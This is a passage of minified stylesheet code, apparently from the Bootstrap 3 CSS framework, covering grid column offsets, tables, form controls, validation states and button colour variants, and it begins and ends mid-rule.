33.33333333%; } .col-sm-pull-3 { right: 25%; } .col-sm-pull-2 { right: 16.66666667%; } .col-sm-pull-1 { right: 8.33333333%; } .col-sm-pull-0 { right: auto; } .col-sm-push-12 { left: 100%; } .col-sm-push-11 { left: 91.66666667%; } .col-sm-push-10 { left: 83.33333333%; } .col-sm-push-9 { left: 75%; } .col-sm-push-8 { left: 66.66666667%; } .col-sm-push-7 { left: 58.33333333%; } .col-sm-push-6 { left: 50%; } .col-sm-push-5 { left: 41.66666667%; } .col-sm-push-4 { left: 33.33333333%; } .col-sm-push-3 { left: 25%; } .col-sm-push-2 { left: 16.66666667%; } .col-sm-push-1 { left: 8.33333333%; } .col-sm-push-0 { left: auto; } .col-sm-offset-12 { margin-left: 100%; } .col-sm-offset-11 { margin-left: 91.66666667%; } .col-sm-offset-10 { margin-left: 83.33333333%; } .col-sm-offset-9 { margin-left: 75%; } .col-sm-offset-8 { margin-left: 66.66666667%; } .col-sm-offset-7 { margin-left: 58.33333333%; } .col-sm-offset-6 { margin-left: 50%; } .col-sm-offset-5 { margin-left: 41.66666667%; } .col-sm-offset-4 { margin-left: 33.33333333%; } .col-sm-offset-3 { margin-left: 25%; } .col-sm-offset-2 { margin-left: 16.66666667%; } .col-sm-offset-1 { margin-left: 8.33333333%; } .col-sm-offset-0 { margin-left: 0; } } @media (min-width: 992px) { .col-md-1, .col-md-2, .col-md-3, .col-md-4, .col-md-5, .col-md-6, .col-md-7, .col-md-8, .col-md-9, .col-md-10, .col-md-11, .col-md-12 { float: left; } .col-md-12 { width: 100%; } .col-md-11 { width: 91.66666667%; } .col-md-10 { width: 83.33333333%; } .col-md-9 { width: 75%; } .col-md-8 { width: 66.66666667%; } .col-md-7 { width: 58.33333333%; } .col-md-6 { width: 50%; } .col-md-5 { width: 41.66666667%; } .col-md-4 { width: 33.33333333%; } .col-md-3 { width: 25%; } .col-md-2 { width: 16.66666667%; } .col-md-1 { width: 8.33333333%; } .col-md-pull-12 { right: 100%; } .col-md-pull-11 { right: 91.66666667%; } .col-md-pull-10 { right: 83.33333333%; } .col-md-pull-9 { right: 75%; } .col-md-pull-8 { right: 66.66666667%; } .col-md-pull-7 { right: 58.33333333%; } .col-md-pull-6 { right: 50%; } .col-md-pull-5 { right: 41.66666667%; } .col-md-pull-4 { right: 33.33333333%; } .col-md-pull-3 { right: 25%; } .col-md-pull-2 { right: 16.66666667%; } .col-md-pull-1 { right: 8.33333333%; } .col-md-pull-0 { right: auto; } .col-md-push-12 { left: 100%; } .col-md-push-11 { left: 91.66666667%; } .col-md-push-10 { left: 83.33333333%; } .col-md-push-9 { left: 75%; } .col-md-push-8 { left: 66.66666667%; } .col-md-push-7 { left: 58.33333333%; } .col-md-push-6 { left: 50%; } .col-md-push-5 { left: 41.66666667%; } .col-md-push-4 { left: 33.33333333%; } .col-md-push-3 { left: 25%; } .col-md-push-2 { left: 16.66666667%; } .col-md-push-1 { left: 8.33333333%; } .col-md-push-0 { left: auto; } .col-md-offset-12 { margin-left: 100%; } .col-md-offset-11 { margin-left: 91.66666667%; } .col-md-offset-10 { margin-left: 83.33333333%; } .col-md-offset-9 { margin-left: 75%; } .col-md-offset-8 { margin-left: 66.66666667%; } .col-md-offset-7 { margin-left: 58.33333333%; } .col-md-offset-6 { margin-left: 50%; } .col-md-offset-5 { margin-left: 41.66666667%; } .col-md-offset-4 { margin-left: 33.33333333%; } .col-md-offset-3 { margin-left: 25%; } .col-md-offset-2 { margin-left: 16.66666667%; } .col-md-offset-1 { margin-left: 8.33333333%; } .col-md-offset-0 { margin-left: 0; } } @media (min-width: 1200px) { .col-lg-1, .col-lg-2, .col-lg-3, .col-lg-4, .col-lg-5, .col-lg-6, .col-lg-7, .col-lg-8, .col-lg-9, .col-lg-10, .col-lg-11, .col-lg-12 { float: left; } .col-lg-12 { width: 100%; } .col-lg-11 { width: 91.66666667%; } .col-lg-10 { width: 83.33333333%; } .col-lg-9 { width: 75%; } .col-lg-8 { width: 66.66666667%; } .col-lg-7 { width: 58.33333333%; } .col-lg-6 { width: 50%; } .col-lg-5 { width: 41.66666667%; } .col-lg-4 { width: 33.33333333%; } .col-lg-3 { width: 25%; } .col-lg-2 { width: 16.66666667%; } .col-lg-1 { width: 8.33333333%; } .col-lg-pull-12 { right: 100%; } .col-lg-pull-11 { right: 91.66666667%; } .col-lg-pull-10 { right: 83.33333333%; } .col-lg-pull-9 { right: 75%; } .col-lg-pull-8 { right: 66.66666667%; } .col-lg-pull-7 { right: 58.33333333%; } .col-lg-pull-6 { right: 50%; } .col-lg-pull-5 { right: 41.66666667%; } .col-lg-pull-4 { right: 33.33333333%; } .col-lg-pull-3 { right: 25%; } .col-lg-pull-2 { right: 16.66666667%; } .col-lg-pull-1 { right: 8.33333333%; } .col-lg-pull-0 { right: auto; } .col-lg-push-12 { left: 100%; } .col-lg-push-11 { left: 91.66666667%; } .col-lg-push-10 { left: 83.33333333%; } .col-lg-push-9 { left: 75%; } .col-lg-push-8 { left: 66.66666667%; } .col-lg-push-7 { left: 58.33333333%; } .col-lg-push-6 { left: 50%; } .col-lg-push-5 { left: 41.66666667%; } .col-lg-push-4 { left: 33.33333333%; } .col-lg-push-3 { left: 25%; } .col-lg-push-2 { left: 16.66666667%; } .col-lg-push-1 { left: 8.33333333%; } .col-lg-push-0 { left: auto; } .col-lg-offset-12 { margin-left: 100%; } .col-lg-offset-11 { margin-left: 91.66666667%; } .col-lg-offset-10 { margin-left: 83.33333333%; } .col-lg-offset-9 { margin-left: 75%; } .col-lg-offset-8 { margin-left: 66.66666667%; } .col-lg-offset-7 { margin-left: 58.33333333%; } .col-lg-offset-6 { margin-left: 50%; } .col-lg-offset-5 { margin-left: 41.66666667%; } .col-lg-offset-4 { margin-left: 33.33333333%; } .col-lg-offset-3 { margin-left: 25%; } .col-lg-offset-2 { margin-left: 16.66666667%; } .col-lg-offset-1 { margin-left: 8.33333333%; } .col-lg-offset-0 { margin-left: 0; } } table { background-color: transparent; } caption { padding-top: 8px; padding-bottom: 8px; color: #777; text-align: left; } th { text-align: left; } .table { width: 100%; max-width: 100%; margin-bottom: 20px; } .table > thead > tr > th, .table > tbody > tr > th, .table > tfoot > tr > th, .table > thead > tr > td, .table > tbody > tr > td, .table > tfoot > tr > td { padding: 8px; line-height: 1.42857143; vertical-align: top; border-top: 1px solid #ddd; } .table > thead > tr > th { vertical-align: bottom; border-bottom: 2px solid #ddd; } .table > caption + thead > tr:first-child > th, .table > colgroup + thead > tr:first-child > th, .table > thead:first-child > tr:first-child > th, .table > caption + thead > tr:first-child > td, .table > colgroup + thead > tr:first-child > td, .table > thead:first-child > tr:first-child > td { border-top: 0; } .table > tbody + tbody { border-top: 2px solid #ddd; } .table .table { background-color: #fff; } .table-condensed > thead > tr > th, .table-condensed > tbody > tr > th, .table-condensed > tfoot > tr > th, .table-condensed > thead > tr > td, .table-condensed > tbody > tr > td, .table-condensed > tfoot > tr > td { padding: 5px; } .table-bordered { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > tbody > tr > th, .table-bordered > tfoot > tr > th, .table-bordered > thead > tr > td, .table-bordered > tbody > tr > td, .table-bordered > tfoot > tr > td { border: 1px solid #ddd; } .table-bordered > thead > tr > th, .table-bordered > thead > tr > td { border-bottom-width: 2px; } .table-striped > tbody > tr:nth-of-type(odd) { background-color: #f9f9f9; } .table-hover > tbody > tr:hover { background-color: #f5f5f5; } table col[class*="col-"] { position: static; display: table-column; float: none; } table td[class*="col-"], table th[class*="col-"] { position: static; display: table-cell; float: none; } .table > thead > tr > td.active, .table > tbody > tr > td.active, .table > tfoot > tr > td.active, .table > thead > tr > th.active, .table > tbody > tr > th.active, .table > tfoot > tr > th.active, .table > thead > tr.active > td, .table > tbody > tr.active > td, .table > tfoot > tr.active > td, .table > thead > tr.active > th, .table > tbody > tr.active > th, .table > tfoot > tr.active > th { background-color: #f5f5f5; } .table-hover > tbody > tr > td.active:hover, .table-hover > tbody > tr > th.active:hover, .table-hover > tbody > tr.active:hover > td, .table-hover > tbody > tr:hover > .active, .table-hover > tbody > tr.active:hover > th { background-color: #e8e8e8; } .table > thead > tr > td.success, .table > tbody > tr > td.success, .table > tfoot > tr > td.success, .table > thead > tr > th.success, .table > tbody > tr > th.success, .table > tfoot > tr > th.success, .table > thead > tr.success > td, .table > tbody > tr.success > td, .table > tfoot > tr.success > td, .table > thead > tr.success > th, .table > tbody > tr.success > th, .table > tfoot > tr.success > th { background-color: #dff0d8; } .table-hover > tbody > tr > td.success:hover, .table-hover > tbody > tr > th.success:hover, .table-hover > tbody > tr.success:hover > td, .table-hover > tbody > tr:hover > .success, .table-hover > tbody > tr.success:hover > th { background-color: #d0e9c6; } .table > thead > tr > td.info, .table > tbody > tr > td.info, .table > tfoot > tr > td.info, .table > thead > tr > th.info, .table > tbody > tr > th.info, .table > tfoot > tr > th.info, .table > thead > tr.info > td, .table > tbody > tr.info > td, .table > tfoot > tr.info > td, .table > thead > tr.info > th, .table > tbody > tr.info > th, .table > tfoot > tr.info > th { background-color: #d9edf7; } .table-hover > tbody > tr > td.info:hover, .table-hover > tbody > tr > th.info:hover, .table-hover > tbody > tr.info:hover > td, .table-hover > tbody > tr:hover > .info, .table-hover > tbody > tr.info:hover > th { background-color: #c4e3f3; } .table > thead > tr > td.warning, .table > tbody > tr > td.warning, .table > tfoot > tr > td.warning, .table > thead > tr > th.warning, .table > tbody > tr > th.warning, .table > tfoot > tr > th.warning, .table > thead > tr.warning > td, .table > tbody > tr.warning > td, .table > tfoot > tr.warning > td, .table > thead > tr.warning > th, .table > tbody > tr.warning > th, .table > tfoot > tr.warning > th { background-color: #fcf8e3; } .table-hover > tbody > tr > td.warning:hover, .table-hover > tbody > tr > th.warning:hover, .table-hover > tbody > tr.warning:hover > td, .table-hover > tbody > tr:hover > .warning, .table-hover > tbody > tr.warning:hover > th { background-color: #faf2cc; } .table > thead > tr > td.danger, .table > tbody > tr > td.danger, .table > tfoot > tr > td.danger, .table > thead > tr > th.danger, .table > tbody > tr > th.danger, .table > tfoot > tr > th.danger, .table > thead > tr.danger > td, .table > tbody > tr.danger > td, .table > tfoot > tr.danger > td, .table > thead > tr.danger > th, .table > tbody > tr.danger > th, .table > tfoot > tr.danger > th { background-color: #f2dede; } .table-hover > tbody > tr > td.danger:hover, .table-hover > tbody > tr > th.danger:hover, .table-hover > tbody > tr.danger:hover > td, .table-hover > tbody > tr:hover > .danger, .table-hover > tbody > tr.danger:hover > th { background-color: #ebcccc; } .table-responsive { min-height: .01%; overflow-x: auto; } @media screen and (max-width: 767px) { .table-responsive { width: 100%; margin-bottom: 15px; overflow-y: hidden; -ms-overflow-style: -ms-autohiding-scrollbar; border: 1px solid #ddd; } .table-responsive > .table { margin-bottom: 0; } .table-responsive > .table > thead > tr > th, .table-responsive > .table > tbody > tr > th, .table-responsive > .table > tfoot > tr > th, .table-responsive > .table > thead > tr > td, .table-responsive > .table > tbody > tr > td, .table-responsive > .table > tfoot > tr > td { white-space: nowrap; } .table-responsive > .table-bordered { border: 0; } .table-responsive > .table-bordered > thead > tr > th:first-child, .table-responsive > .table-bordered > tbody > tr > th:first-child, .table-responsive > .table-bordered > tfoot > tr > th:first-child, .table-responsive > .table-bordered > thead > tr > td:first-child, .table-responsive > .table-bordered > tbody > tr > td:first-child, .table-responsive > .table-bordered > tfoot > tr > td:first-child { border-left: 0; } .table-responsive > .table-bordered > thead > tr > th:last-child, .table-responsive > .table-bordered > tbody > tr > th:last-child, .table-responsive > .table-bordered > tfoot > tr > th:last-child, .table-responsive > .table-bordered > thead > tr > td:last-child, .table-responsive > .table-bordered > tbody > tr > td:last-child, .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .table-responsive > .table-bordered > tbody > tr:last-child > th, .table-responsive > .table-bordered > tfoot > tr:last-child > th, .table-responsive > .table-bordered > tbody > tr:last-child > td, .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } } fieldset { min-width: 0; padding: 0; margin: 0; border: 0; } legend { display: block; width: 100%; padding: 0; margin-bottom: 20px; font-size: 21px; line-height: inherit; color: #333; border: 0; border-bottom: 1px solid #e5e5e5; } label { display: inline-block; max-width: 100%; margin-bottom: 5px; font-weight: bold; } input[type="search"] { -webkit-box-sizing: border-box; -moz-box-sizing: border-box; box-sizing: border-box; } input[type="radio"], input[type="checkbox"] { margin: 4px 0 0; margin-top: 1px \9; line-height: normal; } input[type="file"] { display: block; } input[type="range"] { display: block; width: 100%; } select[multiple], select[size] { height: auto; } input[type="file"]:focus, input[type="radio"]:focus, input[type="checkbox"]:focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } output { display: block; padding-top: 7px; font-size: 14px; line-height: 1.42857143; color: #555; } .form-control { display: block; width: 100%; height: 34px; padding: 6px 12px; font-size: 14px; line-height: 1.42857143; color: #555; background-color: #fff; background-image: none; border: 1px solid #ccc; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); -webkit-transition: border-color ease-in-out .15s, -webkit-box-shadow ease-in-out .15s; -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s; } .form-control:focus { border-color: #66afe9; outline: 0; -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, .6); } .form-control::-moz-placeholder { color: #999; opacity: 1; } .form-control:-ms-input-placeholder { color: #999; } .form-control::-webkit-input-placeholder { color: #999; } .form-control[disabled], .form-control[readonly], fieldset[disabled] .form-control { background-color: #eee; opacity: 1; } .form-control[disabled], fieldset[disabled] .form-control { cursor: not-allowed; } textarea.form-control { height: auto; } input[type="search"] { -webkit-appearance: none; } @media screen and (-webkit-min-device-pixel-ratio: 0) { input[type="date"].form-control, input[type="time"].form-control, input[type="datetime-local"].form-control, input[type="month"].form-control { line-height: 34px; } input[type="date"].input-sm, input[type="time"].input-sm, input[type="datetime-local"].input-sm, input[type="month"].input-sm, .input-group-sm input[type="date"], .input-group-sm input[type="time"], .input-group-sm input[type="datetime-local"], .input-group-sm input[type="month"] { line-height: 30px; } input[type="date"].input-lg, input[type="time"].input-lg, input[type="datetime-local"].input-lg, input[type="month"].input-lg, .input-group-lg input[type="date"], .input-group-lg input[type="time"], .input-group-lg input[type="datetime-local"], .input-group-lg input[type="month"] { line-height: 46px; } } .form-group { margin-bottom: 15px; } .radio, .checkbox { position: relative; display: block; margin-top: 10px; margin-bottom: 10px; } .radio label, .checkbox label { min-height: 20px; padding-left: 20px; margin-bottom: 0; font-weight: normal; cursor: pointer; } .radio input[type="radio"], .radio-inline input[type="radio"], .checkbox input[type="checkbox"], .checkbox-inline input[type="checkbox"] { position: absolute; margin-top: 4px \9; margin-left: -20px; } .radio + .radio, .checkbox + .checkbox { margin-top: -5px; } .radio-inline, .checkbox-inline { position: relative; display: inline-block; padding-left: 20px; margin-bottom: 0; font-weight: normal; vertical-align: middle; cursor: pointer; } .radio-inline + .radio-inline, .checkbox-inline + .checkbox-inline { margin-top: 0; margin-left: 10px; } input[type="radio"][disabled], input[type="checkbox"][disabled], input[type="radio"].disabled, input[type="checkbox"].disabled, fieldset[disabled] input[type="radio"], fieldset[disabled] input[type="checkbox"] { cursor: not-allowed; } .radio-inline.disabled, .checkbox-inline.disabled, fieldset[disabled] .radio-inline, fieldset[disabled] .checkbox-inline { cursor: not-allowed; } .radio.disabled label, .checkbox.disabled label, fieldset[disabled] .radio label, fieldset[disabled] .checkbox label { cursor: not-allowed; } .form-control-static { min-height: 34px; padding-top: 7px; padding-bottom: 7px; margin-bottom: 0; } .form-control-static.input-lg, .form-control-static.input-sm { padding-right: 0; padding-left: 0; } .input-sm { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } select.input-sm { height: 30px; line-height: 30px; } textarea.input-sm, select[multiple].input-sm { height: auto; } .form-group-sm .form-control { height: 30px; padding: 5px 10px; font-size: 12px; line-height: 1.5; border-radius: 3px; } .form-group-sm select.form-control { height: 30px; line-height: 30px; } .form-group-sm textarea.form-control, .form-group-sm select[multiple].form-control { height: auto; } .form-group-sm .form-control-static { height: 30px; min-height: 32px; padding: 6px 10px; font-size: 12px; line-height: 1.5; } .input-lg { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } select.input-lg { height: 46px; line-height: 46px; } textarea.input-lg, select[multiple].input-lg { height: auto; } .form-group-lg .form-control { height: 46px; padding: 10px 16px; font-size: 18px; line-height: 1.3333333; border-radius: 6px; } .form-group-lg select.form-control { height: 46px; line-height: 46px; } .form-group-lg textarea.form-control, .form-group-lg select[multiple].form-control { height: auto; } .form-group-lg .form-control-static { height: 46px; min-height: 38px; padding: 11px 16px; font-size: 18px; line-height: 1.3333333; } .has-feedback { position: relative; } .has-feedback .form-control { padding-right: 42.5px; } .form-control-feedback { position: absolute; top: 0; right: 0; z-index: 2; display: block; width: 34px; height: 34px; line-height: 34px; text-align: center; pointer-events: none; } .input-lg + .form-control-feedback, .input-group-lg + .form-control-feedback, .form-group-lg .form-control + .form-control-feedback { width: 46px; height: 46px; line-height: 46px; } .input-sm + .form-control-feedback, .input-group-sm + .form-control-feedback, .form-group-sm .form-control + .form-control-feedback { width: 30px; height: 30px; line-height: 30px; } .has-success .help-block, .has-success .control-label, .has-success .radio, .has-success .checkbox, .has-success .radio-inline, .has-success .checkbox-inline, .has-success.radio label, .has-success.checkbox label, .has-success.radio-inline label, .has-success.checkbox-inline label { color: #3c763d; } .has-success .form-control { border-color: #3c763d; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-success .form-control:focus { border-color: #2b542c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #67b168; } .has-success .input-group-addon { color: #3c763d; background-color: #dff0d8; border-color: #3c763d; } .has-success .form-control-feedback { color: #3c763d; } .has-warning .help-block, .has-warning .control-label, .has-warning .radio, .has-warning .checkbox, .has-warning .radio-inline, .has-warning .checkbox-inline, .has-warning.radio label, .has-warning.checkbox label, .has-warning.radio-inline label, .has-warning.checkbox-inline label { color: #8a6d3b; } .has-warning .form-control { border-color: #8a6d3b; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-warning .form-control:focus { border-color: #66512c; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #c0a16b; } .has-warning .input-group-addon { color: #8a6d3b; background-color: #fcf8e3; border-color: #8a6d3b; } .has-warning .form-control-feedback { color: #8a6d3b; } .has-error .help-block, .has-error .control-label, .has-error .radio, .has-error .checkbox, .has-error .radio-inline, .has-error .checkbox-inline, .has-error.radio label, .has-error.checkbox label, .has-error.radio-inline label, .has-error.checkbox-inline label { color: #a94442; } .has-error .form-control { border-color: #a94442; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075); } .has-error .form-control:focus { border-color: #843534; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; box-shadow: inset 0 1px 1px rgba(0, 0, 0, .075), 0 0 6px #ce8483; } .has-error .input-group-addon { color: #a94442; background-color: #f2dede; border-color: #a94442; } .has-error .form-control-feedback { color: #a94442; } .has-feedback label ~ .form-control-feedback { top: 25px; } .has-feedback label.sr-only ~ .form-control-feedback { top: 0; } .help-block { display: block; margin-top: 5px; margin-bottom: 10px; color: #737373; } @media (min-width: 768px) { .form-inline .form-group { display: inline-block; margin-bottom: 0; vertical-align: middle; } .form-inline .form-control { display: inline-block; width: auto; vertical-align: middle; } .form-inline .form-control-static { display: inline-block; } .form-inline .input-group { display: inline-table; vertical-align: middle; } .form-inline .input-group .input-group-addon, .form-inline .input-group .input-group-btn, .form-inline .input-group .form-control { width: auto; } .form-inline .input-group > .form-control { width: 100%; } .form-inline .control-label { margin-bottom: 0; vertical-align: middle; } .form-inline .radio, .form-inline .checkbox { display: inline-block; margin-top: 0; margin-bottom: 0; vertical-align: middle; } .form-inline .radio label, .form-inline .checkbox label { padding-left: 0; } .form-inline .radio input[type="radio"], .form-inline .checkbox input[type="checkbox"] { position: relative; margin-left: 0; } .form-inline .has-feedback .form-control-feedback { top: 0; } } .form-horizontal .radio, .form-horizontal .checkbox, .form-horizontal .radio-inline, .form-horizontal .checkbox-inline { padding-top: 7px; margin-top: 0; margin-bottom: 0; } .form-horizontal .radio, .form-horizontal .checkbox { min-height: 27px; } .form-horizontal .form-group { margin-right: -15px; margin-left: -15px; } @media (min-width: 768px) { .form-horizontal .control-label { padding-top: 7px; margin-bottom: 0; text-align: right; } } .form-horizontal .has-feedback .form-control-feedback { right: 15px; } @media (min-width: 768px) { .form-horizontal .form-group-lg .control-label { padding-top: 14.333333px; font-size: 18px; } } @media (min-width: 768px) { .form-horizontal .form-group-sm .control-label { padding-top: 6px; font-size: 12px; } } .btn { display: inline-block; padding: 6px 12px; margin-bottom: 0; font-size: 14px; font-weight: normal; line-height: 1.42857143; text-align: center; white-space: nowrap; vertical-align: middle; -ms-touch-action: manipulation; touch-action: manipulation; cursor: pointer; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; background-image: none; border: 1px solid transparent; border-radius: 4px; } .btn:focus, .btn:active:focus, .btn.active:focus, .btn.focus, .btn:active.focus, .btn.active.focus { outline: thin dotted; outline: 5px auto -webkit-focus-ring-color; outline-offset: -2px; } .btn:hover, .btn:focus, .btn.focus { color: #333; text-decoration: none; } .btn:active, .btn.active { background-image: none; outline: 0; -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); box-shadow: inset 0 3px 5px rgba(0, 0, 0, .125); } .btn.disabled, .btn[disabled], fieldset[disabled] .btn { cursor: not-allowed; filter: alpha(opacity=65); -webkit-box-shadow: none; box-shadow: none; opacity: .65; } a.btn.disabled, fieldset[disabled] a.btn { pointer-events: none; } .btn-default { color: #333; background-color: #fff; border-color: #ccc; } .btn-default:focus, .btn-default.focus { color: #333; background-color: #e6e6e6; border-color: #8c8c8c; } .btn-default:hover { color: #333; background-color: #e6e6e6; border-color: #adadad; } .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { color: #333; background-color: #e6e6e6; border-color: #adadad; } .btn-default:active:hover, .btn-default.active:hover, .open > .dropdown-toggle.btn-default:hover, .btn-default:active:focus, .btn-default.active:focus, .open > .dropdown-toggle.btn-default:focus, .btn-default:active.focus, .btn-default.active.focus, .open > .dropdown-toggle.btn-default.focus { color: #333; background-color: #d4d4d4; border-color: #8c8c8c; } .btn-default:active, .btn-default.active, .open > .dropdown-toggle.btn-default { background-image: none; } .btn-default.disabled, .btn-default[disabled], fieldset[disabled] .btn-default, .btn-default.disabled:hover, .btn-default[disabled]:hover, fieldset[disabled] .btn-default:hover, .btn-default.disabled:focus, .btn-default[disabled]:focus, fieldset[disabled] .btn-default:focus, .btn-default.disabled.focus, .btn-default[disabled].focus, fieldset[disabled] .btn-default.focus, .btn-default.disabled:active, .btn-default[disabled]:active, fieldset[disabled] .btn-default:active, .btn-default.disabled.active, .btn-default[disabled].active, fieldset[disabled] .btn-default.active { background-color: #fff; border-color: #ccc; } .btn-default .badge { color: #fff; background-color: #333; } .btn-primary { color: #fff; background-color: #337ab7; border-color: #2e6da4; } .btn-primary:focus, .btn-primary.focus { color: #fff; background-color: #286090; border-color: #122b40; } .btn-primary:hover { color: #fff; background-color: #286090; border-color: #204d74; } .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { color: #fff; background-color: #286090; border-color: #204d74; } .btn-primary:active:hover, .btn-primary.active:hover, .open > .dropdown-toggle.btn-primary:hover, .btn-primary:active:focus, .btn-primary.active:focus, .open > .dropdown-toggle.btn-primary:focus, .btn-primary:active.focus, .btn-primary.active.focus, .open > .dropdown-toggle.btn-primary.focus { color: #fff; background-color: #204d74; border-color: #122b40; } .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary { background-image: none; } .btn-primary.disabled, .btn-primary[disabled], fieldset[disabled] .btn-primary, .btn-primary.disabled:hover, .btn-primary[disabled]:hover, fieldset[disabled] .btn-primary:hover, .btn-primary.disabled:focus, .btn-primary[disabled]:focus, fieldset[disabled] .btn-primary:focus, .btn-primary.disabled.focus, .btn-primary[disabled].focus, fieldset[disabled] .btn-primary.focus, .btn-primary.disabled:active, .btn-primary[disabled]:active, fieldset[disabled] .btn-primary:active, .btn-primary.disabled.active, .btn-primary[disabled].active, fieldset[disabled] .btn-primary.active { background-color: #337ab7; border-color: #2e6da4; } .btn-primary .badge { color: #337ab7; background-color: #fff; } .btn-success { color: #fff; background-color: #5cb85c; border-color: #4cae4c; } .btn-success:focus, .btn-success.focus { color: #fff; background-color: #449d44; border-color: #255625; } .btn-success:hover { color: #fff; background-color: #449d44; border-color: #398439; } .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { color: #fff; background-color: #449d44; border-color: #398439; } .btn-success:active:hover, .btn-success.active:hover, .open > .dropdown-toggle.btn-success:hover, .btn-success:active:focus, .btn-success.active:focus, .open > .dropdown-toggle.btn-success:focus, .btn-success:active.focus, .btn-success.active.focus, .open > .dropdown-toggle.btn-success.focus { color: #fff; background-color: #398439; border-color: #255625; } .btn-success:active, .btn-success.active, .open > .dropdown-toggle.btn-success { background-image: none; } .btn-success.disabled, .btn-success[disabled], fieldset[disabled] .btn-success, .btn-success.disabled:hover, .btn-success[disabled]:hover, fieldset[disabled] .btn-success:hover, .btn-success.disabled:focus, .btn-success[disabled]:focus, fieldset[disabled] .btn-success:focus, .btn-success.disabled.focus, .btn-success[disabled].focus, fieldset[disabled] .btn-success.focus, .btn-success.disabled:active, .btn-success[disabled]:active, fieldset[disabled] .btn-success:active, .btn-success.disabled.active, .btn-success[disabled].active, fieldset[disabled] .btn-success.active { background-color: #5cb85c; border-color: #4cae4c; } .btn-success .badge { color: #5cb85c; background-color: #fff; } .btn-info { color: #fff; background-color: #5bc0de; border-color: #46b8da; } .btn-info:focus, .btn-info.focus { color: #fff; background-color: #31b0d5; border-color: #1b6d85; } .btn-info:hover { color: #fff; background-color: #31b0d5; border-color: #269abc; } .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { color: #fff; background-color: #31b0d5; border-color: #269abc; } .btn-info:active:hover, .btn-info.active:hover, .open > .dropdown-toggle.btn-info:hover, .btn-info:active:focus, .btn-info.active:focus, .open > .dropdown-toggle.btn-info:focus, .btn-info:active.focus, .btn-info.active.focus, .open > .dropdown-toggle.btn-info.focus { color: #fff; background-color: #269abc; border-color: #1b6d85; } .btn-info:active, .btn-info.active, .open > .dropdown-toggle.btn-info { background-image: none; } .btn-info.disabled, .btn-info[disabled], fieldset[disabled] .btn-info, .btn-info.disabled:hover, .btn-info[disabled]:hover, fieldset[disabled] .btn-info:hover, .btn-info.disabled:focus, .btn-info[disabled]:focus, fieldset[disabled] .btn-info:focus, .btn-info.disabled.focus, .btn-info[disabled].focus, fieldset[disabled] .btn-info.focus, .btn-info.disabled:active, .btn-info[disabled]:active, fieldset[disabled] .btn-info:active, .btn-info.disabled.active, .btn-info[disabled].active, fieldset[disabled] .btn-info.active { background-color: #5bc0de; border-color: #46b8da; } .btn-info .badge { color: #5bc0de; background-color: #fff; } .btn-warning { color: #fff; background-color: #f0ad4e; border-color: #eea236; } .btn-warning:focus, .btn-warning.focus { color: #fff; background-color: #ec971f; border-color: #985f0d; } .btn-warning:hover { color: #fff; background-color: #ec971f; border-color: #d58512; } .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { color: #fff; background-color: #ec971f; border-color: #d58512; } .btn-warning:active:hover, .btn-warning.active:hover, .open > .dropdown-toggle.btn-warning:hover, .btn-warning:active:focus, .btn-warning.active:focus, .open > .dropdown-toggle.btn-warning:focus, .btn-warning:active.focus, .btn-warning.active.focus, .open > .dropdown-toggle.btn-warning.focus { color: #fff; background-color: #d58512; border-color: #985f0d; } .btn-warning:active, .btn-warning.active, .open > .dropdown-toggle.btn-warning { background-image: none; } .btn-warning.disabled, .btn-warning[disabled], fieldset[disabled] .btn-warning, .btn-warning.disabled:hover, .btn-warning[disabled]:hover, fieldset[disabled] .btn-warning:hover, .btn-warning.disabled:focus, .btn-warning[disabled]:focus, fieldset[disabled] .btn-warning:focus, .btn-warning.disabled.focus, .btn-warning[disabled].focus, fieldset[disabled] .btn-warning.focus, .btn-warning.disabled:active, .btn-warning[disabled]:active, fieldset[disabled] .btn-warning:active, .btn-warning.disabled.active, .btn-warning[disabled].active, fieldset[disabled] .btn-warning.active { background-color: #f0ad4e; border-color: #eea236; } .btn-warning .badge { color: #f0ad4e; background-color: #fff; } .btn-danger { color: #fff; background-color: #d9534f; border-color: #d43f3a; } .btn-danger:focus, .btn-danger.focus { color: #fff; background-color: #c9302c; border-color: #761c19; } .btn-danger:hover { color: #fff; background-color: #c9302c; border-color: #ac2925; } .btn-danger:active, .btn-danger.active, .open > .dropdown-toggle.btn-danger { color: #fff; background-color: #c9302c; border-color: #ac2925; } .btn-danger:active:hover, .btn-danger.active:hover, .open > .dropdown-toggle.btn-danger:hover, .btn-danger:active:focus, .btn-danger.active:focus, 